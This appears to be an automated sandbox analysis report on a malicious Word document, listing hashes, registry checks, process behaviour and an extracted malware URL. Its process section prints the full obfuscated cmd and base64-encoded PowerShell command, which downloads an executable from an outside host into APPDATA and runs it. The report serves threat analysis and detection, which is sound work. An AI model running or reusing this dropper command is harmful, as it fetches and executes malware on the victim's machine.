Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
20-05-2024 13:08
Behavioral task
behavioral1
Sample
5f3d34aca12056cbef02b051e68146ad_JaffaCakes118.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
5f3d34aca12056cbef02b051e68146ad_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
5f3d34aca12056cbef02b051e68146ad_JaffaCakes118.doc
-
Size
84KB
-
MD5
5f3d34aca12056cbef02b051e68146ad
-
SHA1
d1e324a682e84863f7fb150d234b77565d43f82f
-
SHA256
28e9afdcd0f2797bad432d7ff1299afbf85306c4585b0b292f68c2996bf0b8bc
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SHA512
9b8349de30c15c0942f19e0d9207da953390e7c327ccf880cdb228753a8ea1fc64905ec7148c158320317096e31a3dc4140f0875a6d26797fa1850a0aacf1699
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SSDEEP
1536:tAP5iWGjmHPUVPVAeGVfDx8yqDY3QnTe:gKwU6NDx8dT
Malware Config
Extracted
http://yaticaterm.com/TYJ/wwnox.php?l=juxe8.xap
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cMd.eXedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3688 5108 cMd.eXe WINWORD.EXE -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cMd.eXepid process 3688 cMd.eXe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 5108 WINWORD.EXE 5108 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3164 powershell.exe 3164 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3164 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 5108 WINWORD.EXE 5108 WINWORD.EXE 5108 WINWORD.EXE 5108 WINWORD.EXE 5108 WINWORD.EXE 5108 WINWORD.EXE 5108 WINWORD.EXE 5108 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcMd.eXedescription pid process target process PID 5108 wrote to memory of 3688 5108 WINWORD.EXE cMd.eXe PID 5108 wrote to memory of 3688 5108 WINWORD.EXE cMd.eXe PID 3688 wrote to memory of 3164 3688 cMd.eXe powershell.exe PID 3688 wrote to memory of 3164 3688 cMd.eXe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5f3d34aca12056cbef02b051e68146ad_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5108 -
C:\Windows\SYSTEM32\cMd.eXecMd.eXe /c p^o^w^e^r^s^h^E^L^L^.^e^x^e^ ^-^e^c^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^c^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^c^A^d^w^B^u^A^G^8^A^e^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^O^A^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^c^A^X^A^A^3^A^D^I^A^N^w^B^l^A^D^M^A^N^Q^A^3^A^D^E^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^c^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^N^w^A^y^A^D^c^A^Z^Q^A^z^A^D^U^A^N^w^A^x^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^d^A^A^=2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershELL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwB5AGEAdABpAGMAYQB0AGUAcgBtAC4AYwBvAG0ALwBUAFkASgAvAHcAdwBuAG8AeAAuAHAAaABwAD8AbAA9AGoAdQB4AGUAOAAuAHgAYQBwACIALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXAA3ADIANwBlADMANQA3ADEALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwANwAyADcAZQAzADUANwAxAC4AZQB4AGUAJwA7ACAARQB4AGkAdAA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3164
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82